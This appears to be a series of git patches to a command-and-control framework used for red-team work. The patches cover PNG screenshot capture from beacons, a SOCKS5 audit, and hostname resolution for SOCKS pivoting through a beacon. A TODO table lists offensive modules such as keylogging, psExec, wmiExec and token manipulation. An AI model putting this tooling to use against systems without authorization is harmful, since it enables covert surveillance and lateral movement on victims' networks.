"Capture desktop PNG, return chunked generated screenshot artifact, and show a single final console result." priority: high validation: auto+manual axes: {os: windows, arch: x64, listener: https, artifact_category: generated} evidence: auto: ["core/modules/ScreenShot/tests/testsScreenShot.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] - manual: ["Run screenShot desktop.bmp on Windows x64 HTTPS beacon and open generated BMP."] + manual: ["Run screenShot desktop.png on Windows x64 HTTPS beacon and open generated PNG."] - id: MODULE-POWERSHELL-CONTRACT-001 area: Modules diff --git a/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp index b944127..f98b058 100644 --- a/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp +++ b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp @@ -63,6 +63,21 @@ bool endsWithExe(const std::string& path) return extensionLower(path) == ".exe"; } +std::string normalizeScreenshotNameHint( + const std::vector& tokens, + std::string& errorMessage) +{ + std::string nameHint = tokens.size() == 2 ? tokens[1] : "screenshot.png"; + const std::string extension = extensionLower(nameHint); + if (extension.empty()) + return nameHint + ".png"; + if (extension == ".png") + return nameHint; + + errorMessage = "screenShot only supports PNG artifacts. Use a .png artifact name or omit the extension."; + return {}; +} + TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) { TeamServerCommandPreparerResult result; @@ -169,14 +184,19 @@ TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepare if (!m_fileArtifactService) return handledError(c2Message, "File artifact service is not available.\n"); if (tokens.size() > 2) - return handledError(c2Message, "Usage: screenShot [artifact_name]\n"); + return handledError(c2Message, "Usage: screenShot [artifact_name.png]\n"); + + std::string nameError; + const std::string nameHint = normalizeScreenshotNameHint(tokens, nameError); + if (!nameError.empty()) + return handledError(c2Message, nameError + "\n"); TeamServerGeneratedFileArtifactSpec spec; spec.remotePath = "screen"; - spec.nameHint = tokens.size() == 2 ? tokens[1] : "screenshot.bmp"; + spec.nameHint = nameHint; spec.category = "screenshot"; spec.source = "beacon"; - spec.format = "bmp"; + spec.format = "png"; spec.runtime = "file"; spec.description = "Screenshot captured from beacon host."; spec.tags = {"screenShot", "screenshot"}; diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index 58dede5..48abf0b 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -849,9 +849,10 @@ void testPrepareScreenShotCreatesGeneratedArtifactSlot() std::move(preparers)); C2Message message; - require(service.prepareMessage("screenShot desktop.bmp", message, true, "amd64") == 0, "screenShot prepare failed"); + require(service.prepareMessage("screenShot desktop.png", message, true, "amd64") == 0, "screenShot prepare failed"); require(message.instruction() == "screenShot", "screenShot instruction mismatch"); require(message.outputfile().find("GeneratedArtifacts/screenshot/beacon") != std::string::npos, "screenShot output path mismatch"); + require(message.outputfile().find(".png") != std::string::npos, "screenShot output should be PNG"); require(fs::exists(message.outputfile() + ".artifact.pending.json"), "screenShot pending metadata missing"); C2Message result; @@ -871,7 +872,15 @@ void testPrepareScreenShotCreatesGeneratedArtifactSlot() query.runtime = "file"; const std::vector artifacts = catalog.listArtifacts(query); require(artifacts.size() == 1, "screenShot artifact catalog count mismatch"); - require(artifacts[0].format == "bmp", "screenShot artifact format mismatch"); + require(artifacts[0].format == "png", "screenShot artifact format mismatch"); + + C2Message invalidMessage; + require(service.prepareMessage("screenShot desktop.bmp", invalidMessage, true, "amd64") == -1, "screenShot should reject non-PNG extension"); + require(invalidMessage.returnvalue().find("only supports PNG") != std::string::npos, "screenShot invalid extension message mismatch"); + + C2Message inferredPngMessage; + require(service.prepareMessage("screenShot desktop", inferredPngMessage, true, "amd64") == 0, "screenShot should append PNG extension"); + require(inferredPngMessage.outputfile().find("desktop.png") != std::string::npos, "screenShot inferred PNG output mismatch"); } void testPrepareKerberosUseTicketUsesUploadedArtifact() diff --git a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp index d6346ad..604f944 100644 --- a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp @@ -501,12 +501,12 @@ void testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses() { TeamServerGeneratedFileArtifactSpec spec; spec.remotePath = input; - spec.nameHint = "desktop.bmp"; + spec.nameHint = "desktop.png"; spec.category = "screenshot"; spec.source = "beacon"; spec.target = "teamserver"; spec.runtime = "file"; - spec.format = "bmp"; + spec.format = "png"; spec.isWindows = true; spec.arch = "x64"; spec.writeResultData = true; @@ -523,7 +523,7 @@ void testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses() teamserverapi::SessionCommandRequest command; command.mutable_session()->set_beacon_hash("ABCDEFGH12345678"); command.mutable_session()->set_listener_hash("listener-primary"); - command.set_command("screenShot desktop.bmp"); + command.set_command("screenShot desktop.png"); command.set_command_id("shot-0001"); teamserverapi::CommandAck response; @@ -559,7 +559,7 @@ void testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses() assert(sentCommands.empty()); assert(cmdResponses.size() == 1); assert(cmdResponses[0].command_id() == "shot-0001"); - assert(cmdResponses[0].command() == "screenShot desktop.bmp"); + assert(cmdResponses[0].command() == "screenShot desktop.png"); assert(cmdResponses[0].output().find("Generated artifact stored:") != std::string::npos); assert(readFile(preparedOutputFile) == "AABB"); assert(fs::exists(preparedOutputFile + ".artifact.json")); From 30bc77489ee8827898b3a2b82ec6d8e766c378d2 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 15:25:48 +0200 Subject: [PATCH 77/82] libSocks5 --- C2Client/TODO.md | 2 +- C2Client/tests/test_console_panel.py | 1 + C2Client/tests/test_graph_panel.py | 4 +- docs/TEST_MATRIX.md | 1 + docs/TEST_STATE.md | 7 ++-- docs/socks5-audit.md | 56 ++++++++++++++++++++++++++++ docs/testing/test-catalog.yaml | 11 ++++++ libs/libSocks5 | 2 +- scripts/run-validation-suite.sh | 2 + 9 files changed, 80 insertions(+), 6 deletions(-) create mode 100644 docs/socks5-audit.md diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 39ab308..5cda515 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -23,7 +23,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [x] | Reduire la taille des artefacts `screenShot` | M | Moyen | Fait cote code. Format unique PNG: le module Windows encode en PNG via GDI+ avant chunking, le TeamServer force `format=png`, ajoute `.png` si l'extension est omise et rejette les autres extensions. Specs, tests et catalogue mis a jour. Validation reelle Windows a refaire pour mesurer le gain exact. | | 17 | [x] | Remplacer l'autocomplete Terminal `QCompleter` | M | Fort | Fait. `QCompleter` supprime cote client; Terminal, consoles beacon, Hooks et Assistant utilisent `CompletionInput`, une liste integree au layout avec Tab, Shift+Tab, fleches, Enter et clic. Les placeholders dynamiques console (``, ``) restent geres proprement. | -| 18 | [ ] | Auditer `libSocks5` | M | Fort | Revue protocolaire et qualite d'implementation: handshake, `ATYP` supportes, erreurs SOCKS explicites, timeouts, fermeture sockets, concurrence, limites buffers, logs bruyants, tests IPv4/hostname/stress et risques de deadlock/EOF silencieux. | +| 18 | [x] | Auditer `libSocks5` | M | Fort | Fait. Audit documente dans `docs/socks5-audit.md`; durcissement du handshake IPv4-only, erreurs SOCKS explicites (`0x07`, `0x08`), timeout de handshake, port de reply en network order, logs bruyants retires, flags atomiques et tests protocole auto `TestsSocksServer`. Hostname/IPv6 restent dans l'item 24. | | 19 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 20 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | | 21 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index e4bd592..11df396 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -824,6 +824,7 @@ def listArtifacts(self, query): "", "", ] + server_data = command_specs_to_completer_data([inject_spec], grpcClient=grpc, session=session) options = console_completion_options(server_data, "inject --pid 4321 ") raw_option = next(option for option in options if option.label == "--raw") assert raw_option.full_text == "inject --pid 4321 --raw" diff --git a/C2Client/tests/test_graph_panel.py b/C2Client/tests/test_graph_panel.py index ef5c7af..867c6ad 100644 --- a/C2Client/tests/test_graph_panel.py +++ b/C2Client/tests/test_graph_panel.py @@ -155,7 +155,9 @@ def test_graph_zoom_buttons_update_view_scale(qtbot, monkeypatch): def test_graph_uses_shared_dark_panel_theme(qtbot, monkeypatch): monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) - graph = Graph(QWidget(), StubGrpc()) + parent = QWidget() + qtbot.addWidget(parent) + graph = Graph(parent, StubGrpc()) qtbot.addWidget(graph) assert CONSOLE_COLORS["background"] in graph.styleSheet() diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index cec11d7..2b6cacd 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -42,6 +42,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | pass | pass | | pass | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | pass | pass | +| pass | auto | high | `LIBSOCKS5-PROTOCOL-001` | Libraries | libSocks5 protocol handling | teamserver | n/a | n/a | n/a | pass | n/a | | untested | auto+manual | medium | `LISTENER-DNS-001` | Listeners | DNS listener | any | any | dns | n/a | untested | untested | | blocked | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | blocked | | pass | manual | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | any | any | http | n/a | n/a | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 0c1aa8e..94a872a 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -2,7 +2,7 @@ _Generated by `scripts/generate-test-state.py`._ -- Catalog entries: `114` +- Catalog entries: `115` - Auto results: `build/test-results/auto-results.json` - Manual results: `docs/testing/manual-results.yaml` @@ -10,7 +10,7 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 92 | +| pass | 93 | | fail | 0 | | blocked | 14 | | partial | 5 | @@ -21,7 +21,7 @@ _Generated by `scripts/generate-test-state.py`._ | Mode | Count | |---|---:| -| auto | 6 | +| auto | 7 | | manual | 6 | | auto+manual | 100 | | planned | 2 | @@ -34,6 +34,7 @@ _Generated by `scripts/generate-test-state.py`._ | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | | C2Client | 19 | 0 | 0 | 1 | 0 | 1 | 21 | | CommonCommands | 7 | 0 | 0 | 0 | 0 | 0 | 7 | +| Libraries | 1 | 0 | 0 | 0 | 0 | 0 | 1 | | Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | | Modules | 39 | 0 | 12 | 0 | 0 | 1 | 52 | | Release | 1 | 0 | 1 | 0 | 0 | 0 | 2 | diff --git a/docs/socks5-audit.md b/docs/socks5-audit.md new file mode 100644 index 0000000..476fc19 --- /dev/null +++ b/docs/socks5-audit.md @@ -0,0 +1,56 @@ +# SOCKS5 Audit + +Date: 2026-05-10 + +Scope: `libs/libSocks5`, `TeamServerSocksService`, and the current beacon tunnel integration. + +## Current Contract + +- SOCKS version: SOCKS5. +- Method negotiation: no-auth is accepted; username/password code exists. +- Command support: `CONNECT` only. +- Address support: IPv4 only. +- Domain-name and IPv6 targets are intentionally not supported yet. Hostname support remains tracked by TODO item 24. +- Transport model: the local SOCKS server creates a tunnel slot, the TeamServer sends `SO5 init/run/stop` tasks to the bound beacon, and the beacon opens the target socket from its own context. + +## Fixes Applied + +- Unsupported SOCKS commands now return reply `0x07` (`Command not supported`) instead of closing with a silent EOF. +- Unsupported address types, including hostname `ATYP=0x03`, now return reply `0x08` (`Address type not supported`) instead of a silent EOF. +- Handshake reads now have a bounded timeout so an idle or partial client cannot block the accept loop forever. +- Success replies now encode the bind port in network byte order. +- Library stdout/stderr noise was removed from the normal SOCKS path and SIGPIPE handler. +- `SocksServer` cross-thread state flags are atomic. +- `TestsSocksServer` is now an automated protocol test instead of a manual harness. + +## Automated Coverage + +- `TestsSocksServer` + - rejects unsupported auth method with `0xff` + - accepts no-auth + - queues IPv4 `CONNECT` + - returns a valid success reply after `finishHandshake` + - rejects hostname `CONNECT` with `0x08` + - rejects non-`CONNECT` commands with `0x07` +- `testsTeamServerSocksService` + - covers terminal lifecycle: `start`, `bind`, `unbind`, `stop`, duplicate/error paths. +- `scripts/socks5_stress_test.py` + - remains the live stress tool for bound beacon routes. + - default mode resolves hostnames locally to IPv4. + - `--socks-hostname` should now fail explicitly with SOCKS reply `0x08` until item 24 is implemented. + +## Residual Risks + +- Hostname and IPv6 targets are not implemented. This is the main functional gap and should stay isolated in item 24. +- The TeamServer-to-beacon tunnel is still polling-driven. Throughput and latency depend heavily on beacon sleep and task/result cadence. +- There is no per-tunnel throughput metric, byte counter, queue depth, or timeout surfaced to the operator. +- Buffering is bounded per drain call, but there is no end-to-end backpressure model across local client, TeamServer queue, and beacon socket. +- The TeamServer SOCKS service is single-route today: one local port and one bound beacon at a time. +- Error details are still mostly textual at the terminal layer; typed command/error status would be cleaner once the broader error proto work lands. + +## Manual Validation To Keep + +1. Start SOCKS and bind a live beacon. +2. Run `curl --socks5 127.0.0.1:1080 http://example.com/ -I`. +3. Run `scripts/socks5_stress_test.py --proxy-host 127.0.0.1 --proxy-port 1080 --url http://example.com/ --requests 300 --concurrency 25 --timeout 15 --expect-status 200`. +4. Run the same stress test with `--socks-hostname` and verify the failure is explicit (`0x08`) rather than `unexpected EOF`. diff --git a/docs/testing/test-catalog.yaml b/docs/testing/test-catalog.yaml index b0ac8b2..656efb8 100644 --- a/docs/testing/test-catalog.yaml +++ b/docs/testing/test-catalog.yaml @@ -402,6 +402,17 @@ entries: auto: ["teamServer/tests/TeamServerSocksServiceTests.cpp"] manual: ["Run terminal socks start/list/stop against a live beacon route."] + - id: LIBSOCKS5-PROTOCOL-001 + area: Libraries + feature: libSocks5 protocol handling + scenario: "Negotiate SOCKS5 no-auth, accept IPv4 CONNECT, and reject unsupported commands/address types with explicit replies." + priority: high + validation: auto + axes: {os: teamserver, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["libs/libSocks5/tests/TestsSocksServer.cpp"] + manual: [] + - id: TEAMSERVER-SOCKS-STRESS-001 area: TeamServer feature: SOCKS stress diff --git a/libs/libSocks5 b/libs/libSocks5 index 2cb9ead..acdc7d1 160000 --- a/libs/libSocks5 +++ b/libs/libSocks5 @@ -1 +1 @@ -Subproject commit 2cb9ead72fb5d4916b3210ccbb920565a4b674a1 +Subproject commit acdc7d1a83d7c046385c02c1f14bc88d92f57321 diff --git a/scripts/run-validation-suite.sh b/scripts/run-validation-suite.sh index 214576b..65d1cf3 100644 --- a/scripts/run-validation-suite.sh +++ b/scripts/run-validation-suite.sh @@ -64,6 +64,7 @@ BUILD_TARGETS=( testsTeamServerArtifactCatalog testsTeamServerCommandCatalog testsTeamServerSocksService + TestsSocksServer testsTeamServerTermLocalService testsTeamServerListenerSessionService testsTeamServerHttpListenerTransport @@ -201,6 +202,7 @@ cpp_test "TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001" "testsTeamServerListenerArti cpp_test "TEAMSERVER-ARTIFACT-CATALOG-001 TEAMSERVER-GENERATED-ARTIFACTS-001 ARTIFACT-GENERATED-001 ARTIFACT-LAYOUT-001 ARTIFACT-UPLOADED-001 C2CLIENT-ARTIFACTS-LIST-001" "testsTeamServerArtifactCatalog" cpp_test "TEAMSERVER-COMMAND-CATALOG-001 MODULE-COMMANDSPEC-COVERAGE-001 COMMON-HELP-001" "testsTeamServerCommandCatalog" cpp_test "TEAMSERVER-SOCKS-SERVICE-001" "testsTeamServerSocksService" +cpp_test "LIBSOCKS5-PROTOCOL-001" "TestsSocksServer" cpp_test "TEAMSERVER-HOSTED-ARTIFACTS-001 C2CLIENT-TERMINAL-HOST-001" "testsTeamServerTermLocalService" cpp_test "TEAMSERVER-LISTENER-SESSION-SERVICE-001 TEAMSERVER-FILE-TRANSFER-001 BEACON-CORE-MODULE-LIFECYCLE-001 COMMON-LOADMODULE-001 COMMON-UNLOADMODULE-001 COMMON-LISTMODULE-001 BEACON-CORE-TASK-QUEUE-001" "testsTeamServerListenerSessionService" cpp_test "LISTENER-HTTPS-001" "testsTeamServerHttpListenerTransport" From 60c84b7d47023cbec93e44d3346a8fbe52c4eaea Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 15:52:23 +0200 Subject: [PATCH 78/82] socks5 hostname --- C2Client/TODO.md | 2 +- core | 2 +- docs/socks5-audit.md | 20 +++++++++----- docs/testing/test-catalog.yaml | 6 ++--- libs/libSocks5 | 2 +- scripts/socks5_stress_test.py | 11 +++++++- .../teamServer/TeamServerSocksService.cpp | 27 ++++++++++++++++--- 7 files changed, 52 insertions(+), 18 deletions(-) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 5cda515..89042ba 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -29,7 +29,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 21 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | | 22 | [ ] | Synchroniser l'assistant avec `CommandSpecs` / `ListCommands` | L | Tres fort | L'assistant n'est probablement plus a jour depuis la migration CommandSpec. Le faire charger le catalogue serveur, `GetCommandHelp`, les arguments/artefacts requis, modules charges et capabilities pour construire ses commandes depuis la meme source que la console, au lieu de schemas ou prompts statiques. | | 23 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | -| 24 | [ ] | Supporter les hostnames SOCKS5 cote beacon | L | Tres fort | Accepter `ATYP=DName` dans `libSocks5`, transporter une destination typee TeamServer -> beacon, resoudre/connecter depuis le contexte beacon, garder IPv4 compatible, ajouter tests hostname/stress avec `scripts/socks5_stress_test.py --socks-hostname` et erreurs propres au lieu d'un EOF silencieux. | +| 24 | [x] | Supporter les hostnames SOCKS5 cote beacon | L | Tres fort | Fait cote code. `libSocks5` accepte `ATYP=DName`, le TeamServer transporte `host:` vers la beacon, la beacon resout/connecte depuis son contexte, IPv4 reste compatible, les echecs d'init renvoient un reply SOCKS type au lieu d'un EOF. Tests auto `TestsSocksServer`; validation live `scripts/socks5_stress_test.py --socks-hostname` a refaire sur beacon. | | 25 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | | 26 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | | 27 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | diff --git a/core b/core index 5be64c4..4431ac1 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 5be64c4c0c18b827582ba356ba09da95c7757103 +Subproject commit 4431ac1589afd8f41b288e5a755c97879a98a543 diff --git a/docs/socks5-audit.md b/docs/socks5-audit.md index 476fc19..7e15ef2 100644 --- a/docs/socks5-audit.md +++ b/docs/socks5-audit.md @@ -9,14 +9,17 @@ Scope: `libs/libSocks5`, `TeamServerSocksService`, and the current beacon tunnel - SOCKS version: SOCKS5. - Method negotiation: no-auth is accepted; username/password code exists. - Command support: `CONNECT` only. -- Address support: IPv4 only. -- Domain-name and IPv6 targets are intentionally not supported yet. Hostname support remains tracked by TODO item 24. +- Address support: IPv4 and domain-name (`ATYP=0x03`). +- IPv6 targets are intentionally not supported yet and return a typed SOCKS failure. - Transport model: the local SOCKS server creates a tunnel slot, the TeamServer sends `SO5 init/run/stop` tasks to the bound beacon, and the beacon opens the target socket from its own context. ## Fixes Applied - Unsupported SOCKS commands now return reply `0x07` (`Command not supported`) instead of closing with a silent EOF. -- Unsupported address types, including hostname `ATYP=0x03`, now return reply `0x08` (`Address type not supported`) instead of a silent EOF. +- Hostname `CONNECT` requests now queue a tunnel and are transported to the beacon as `host:`. +- Beacon-side SOCKS init resolves hostname targets from the beacon context before connecting. +- Beacon init failures now return SOCKS reply `0x04` (`Host unreachable`) to the local client instead of a silent EOF. +- Unsupported address types, including IPv6 `ATYP=0x04`, return reply `0x08` (`Address type not supported`) instead of a silent EOF. - Handshake reads now have a bounded timeout so an idle or partial client cannot block the accept loop forever. - Success replies now encode the bind port in network byte order. - Library stdout/stderr noise was removed from the normal SOCKS path and SIGPIPE handler. @@ -29,19 +32,22 @@ Scope: `libs/libSocks5`, `TeamServerSocksService`, and the current beacon tunnel - rejects unsupported auth method with `0xff` - accepts no-auth - queues IPv4 `CONNECT` + - queues domain-name `CONNECT` - returns a valid success reply after `finishHandshake` - - rejects hostname `CONNECT` with `0x08` + - can return a typed hostname resolution failure reply after beacon-side init failure + - rejects IPv6 `CONNECT` with `0x08` - rejects non-`CONNECT` commands with `0x07` + - validates beacon-side hostname resolution with `SocksTunnelClient::initHostname` - `testsTeamServerSocksService` - covers terminal lifecycle: `start`, `bind`, `unbind`, `stop`, duplicate/error paths. - `scripts/socks5_stress_test.py` - remains the live stress tool for bound beacon routes. - default mode resolves hostnames locally to IPv4. - - `--socks-hostname` should now fail explicitly with SOCKS reply `0x08` until item 24 is implemented. + - `--socks-hostname` validates remote hostname resolution from the beacon context. ## Residual Risks -- Hostname and IPv6 targets are not implemented. This is the main functional gap and should stay isolated in item 24. +- IPv6 targets are not implemented. - The TeamServer-to-beacon tunnel is still polling-driven. Throughput and latency depend heavily on beacon sleep and task/result cadence. - There is no per-tunnel throughput metric, byte counter, queue depth, or timeout surfaced to the operator. - Buffering is bounded per drain call, but there is no end-to-end backpressure model across local client, TeamServer queue, and beacon socket. @@ -53,4 +59,4 @@ Scope: `libs/libSocks5`, `TeamServerSocksService`, and the current beacon tunnel 1. Start SOCKS and bind a live beacon. 2. Run `curl --socks5 127.0.0.1:1080 http://example.com/ -I`. 3. Run `scripts/socks5_stress_test.py --proxy-host 127.0.0.1 --proxy-port 1080 --url http://example.com/ --requests 300 --concurrency 25 --timeout 15 --expect-status 200`. -4. Run the same stress test with `--socks-hostname` and verify the failure is explicit (`0x08`) rather than `unexpected EOF`. +4. Run the same stress test with `--socks-hostname` and verify it passes through beacon-side hostname resolution. diff --git a/docs/testing/test-catalog.yaml b/docs/testing/test-catalog.yaml index 656efb8..86c8c96 100644 --- a/docs/testing/test-catalog.yaml +++ b/docs/testing/test-catalog.yaml @@ -405,7 +405,7 @@ entries: - id: LIBSOCKS5-PROTOCOL-001 area: Libraries feature: libSocks5 protocol handling - scenario: "Negotiate SOCKS5 no-auth, accept IPv4 CONNECT, and reject unsupported commands/address types with explicit replies." + scenario: "Negotiate SOCKS5 no-auth, accept IPv4 and hostname CONNECT, and reject unsupported commands/address types with explicit replies." priority: high validation: auto axes: {os: teamserver, arch: n/a, listener: n/a, artifact_category: n/a} @@ -416,13 +416,13 @@ entries: - id: TEAMSERVER-SOCKS-STRESS-001 area: TeamServer feature: SOCKS stress - scenario: "Sustain concurrent SOCKS5 HTTP(S) requests through a bound live beacon and report latency/error distribution." + scenario: "Sustain concurrent SOCKS5 HTTP(S) requests through a bound live beacon, including hostname-mode CONNECT, and report latency/error distribution." priority: high validation: manual axes: {os: teamserver, arch: n/a, listener: any, artifact_category: n/a} evidence: auto: [] - manual: ["Run scripts/socks5_stress_test.py against a live socks start/bind route with a fixed request/concurrency target."] + manual: ["Run scripts/socks5_stress_test.py against a live socks start/bind route with a fixed request/concurrency target, then repeat with --socks-hostname."] - id: BEACON-CORE-REGISTER-001 area: Beacon diff --git a/libs/libSocks5 b/libs/libSocks5 index acdc7d1..6a35ed4 160000 --- a/libs/libSocks5 +++ b/libs/libSocks5 @@ -1 +1 @@ -Subproject commit acdc7d1a83d7c046385c02c1f14bc88d92f57321 +Subproject commit 6a35ed4d4933b2f1dd84d6082bf77a7e9c24fe36 diff --git a/scripts/socks5_stress_test.py b/scripts/socks5_stress_test.py index 94d3be6..816d469 100644 --- a/scripts/socks5_stress_test.py +++ b/scripts/socks5_stress_test.py @@ -520,6 +520,15 @@ def run_self_test() -> int: ) if not run_stress(config): return 1 + hostname_config = dataclasses.replace( + config, + url=f"http://localhost:{http_port}/", + target_host="localhost", + socks_host="localhost", + host_header=f"localhost:{http_port}", + ) + if not run_stress(hostname_config): + return 1 print("self-test passed") return 0 finally: @@ -539,7 +548,7 @@ def parse_args(argv: Iterable[str]) -> argparse.Namespace: parser.add_argument( "--socks-hostname", action="store_true", - help="Send the URL hostname to SOCKS instead of resolving it locally to IPv4. The current TeamServer SOCKS path only supports IPv4.", + help="Send the URL hostname to SOCKS instead of resolving it locally to IPv4. This validates remote hostname resolution from the beacon context.", ) parser.add_argument("--method", choices=("HEAD", "GET"), default="HEAD", help="HTTP method to send.") parser.add_argument("--requests", default=100, type=_positive_int, help="Total request count.") diff --git a/teamServer/teamServer/TeamServerSocksService.cpp b/teamServer/teamServer/TeamServerSocksService.cpp index 785c7d3..6137be4 100644 --- a/teamServer/teamServer/TeamServerSocksService.cpp +++ b/teamServer/teamServer/TeamServerSocksService.cpp @@ -88,6 +88,25 @@ void setTerminalError(teamserverapi::TerminalCommandResponse* response, const st response->set_result(result); response->set_message(result); } + +bool isSocksInitFailure(const std::string& data) +{ + return data == "fail" || data.rfind("fail:", 0) == 0; +} + +std::string tunnelDestinationPayload(SocksTunnelServer* tunnel) +{ + if (tunnel->getAddressType() == AddressType::DName) + return "host:" + tunnel->getDestinationHost(); + return std::to_string(tunnel->getIpDst()); +} + +std::string tunnelDestinationLabel(SocksTunnelServer* tunnel) +{ + if (tunnel->getAddressType() == AddressType::DName) + return tunnel->getDestinationHost(); + return std::to_string(tunnel->getIpDst()); +} } // namespace TeamServerSocksService::TeamServerSocksService( @@ -265,15 +284,14 @@ void TeamServerSocksService::run() SocksState state = tunnel->getState(); if (state == SocksState::INIT) { - int ip = tunnel->getIpDst(); int port = tunnel->getPort(); - m_logger->debug("Socks5 to {}:{}", std::to_string(ip), std::to_string(port)); + m_logger->debug("Socks5 to {}:{}", tunnelDestinationLabel(tunnel), std::to_string(port)); C2Message c2MessageToSend; c2MessageToSend.set_instruction(Socks5Cmd); c2MessageToSend.set_cmd(InitCmd); - c2MessageToSend.set_data(std::to_string(ip)); + c2MessageToSend.set_data(tunnelDestinationPayload(tunnel)); c2MessageToSend.set_args(std::to_string(port)); c2MessageToSend.set_pid(id); @@ -290,9 +308,10 @@ void TeamServerSocksService::run() { m_logger->debug("Socks5 handshake received {}", id); - if (c2Message.data() == "fail") + if (isSocksInitFailure(c2Message.data())) { m_logger->debug("Socks5 handshake failed {}", id); + tunnel->failHandshake(Response::HostUnreachable); m_socksServer->resetTunnel(i); } else From 7cb733d547cf27eced63e923146a706dc835035f Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 18:31:47 +0200 Subject: [PATCH 79/82] Maj for AI --- C2Client/.env.example | 2 + C2Client/C2Client/AssistantPanel.py | 20 ++ C2Client/C2Client/ConsolePanel.py | 121 ++++++---- .../C2Client/assistant_agent/domain/hooks.py | 130 ++++++++-- .../assistant_agent/domain/settings.py | 2 + .../prompts/system/main_agent.md | 6 + .../assistant_agent/tools/__init__.py | 13 +- .../assistant_agent/tools/command_builder.py | 17 +- .../tools/command_help_tool.py | 68 ++++++ .../assistant_agent/tools/command_specs.py | 225 ++++++++++++++++++ .../assistant_agent/tools/command_tool.py | 23 +- 